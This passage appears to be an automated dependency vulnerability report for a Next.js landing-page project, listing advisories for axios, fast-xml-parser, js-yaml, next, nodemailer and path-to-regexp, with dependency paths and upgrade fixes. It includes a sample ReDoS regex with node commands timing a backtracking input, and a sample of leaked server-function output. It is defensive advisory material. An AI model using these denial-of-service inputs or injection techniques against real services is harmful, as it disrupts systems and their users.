regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Buffer Overflow via the XMLBuilder when preserveOrder:true is set. An attacker can cause the application to crash by providing specially crafted input data.

Workaround

This vulnerability can be mitigated by using preserveOrder:false or by validating input data before passing it to the builder.

Remediation

Upgrade fast-xml-parser to version 4.5.4, 5.3.8 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: js-yaml
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 js-yaml@4.1.1

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 3.15.0, 4.2.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@16.1.7.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of an upper bound on the disk cache used by the image optimization. An attacker can exhaust disk storage by generating a large number of unique image optimization variants, leading to service disruption.

Workaround

This vulnerability can be mitigated by periodically cleaning the .next/cache/images directory or by reducing the number of possible image variants through configuration of images.localPatterns, images.remotePatterns, and images.qualities.

Remediation

Upgrade next to version 16.1.7, 16.2.0-canary.54 or higher.

References

medium severity

Exposure of Sensitive System Information to an Unauthorized Control Sphere

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.2.7.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Exposure of Sensitive System Information to an Unauthorized Control Sphere. An attacker can access the source code of any Server Function by sending a malicious HTTP request to a vulnerable Server Function.

Notes:

This is only exploitable if a Server Function exists that explicitly or implicitly exposes a stringified argument:

'use server';

export async function serverFunction(name) {
  const conn = db.createConnection('SECRET KEY');
  const user = await conn.createUser(name); // implicitly stringified, leaked in db

  return {
   id: user.id,
   message: `Hello, ${name}!` // explicitly stringified, leaked in reply
  }}

An attacker may be able to leak the following:

0:{"a":"$@1","f":"","b":"Wy43RxUKdxmr5iuBzJ1pN"}
1:{"id":"tva1sfodwq","message":"Hello, async function(a){console.log(\"serverFunction\");let b=i.createConnection(\"SECRET KEY\");return{id:(await b.createUser(a)).id,message:`Hello, ${a}!`}}!"}

Secrets hardcoded in source code may be exposed, but runtime secrets such as process.env.SECRET are not affected.

The scope of the exposed code is limited to the code inside the Server Function, which may include other functions depending on the amount of inlining your bundler provides.

Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.

If your app’s React code does not use a server, your app is not affected by these vulnerabilities. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by these vulnerabilities.

For React Native users not using a monorepo or react-dom, your react version should be pinned in your package.json, and there are no additional steps needed.

If you are using React Native in a monorepo, you should update only the impacted packages if they are installed: react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack. This is required to mitigate the security advisories, but you do not need to update react and react-dom so this will not cause the version mismatch error in React Native. See this issue for more information.

Remediation

Upgrade next to version 15.0.6, 15.1.10, 15.2.7, 15.3.7, 15.4.9, 15.5.8, 16.0.9, 16.1.0-canary.19 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.

Remediation

Upgrade nodemailer to version 8.0.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: path-to-regexp
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 path-to-regexp@0.1.12
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 path-to-regexp@0.1.12

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, separated by something that is not a period (.). Poor performance will block the event loop and can lead to a DoS.

Note:

This is caused by an incomplete fix for CVE-2024-45296 as it only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

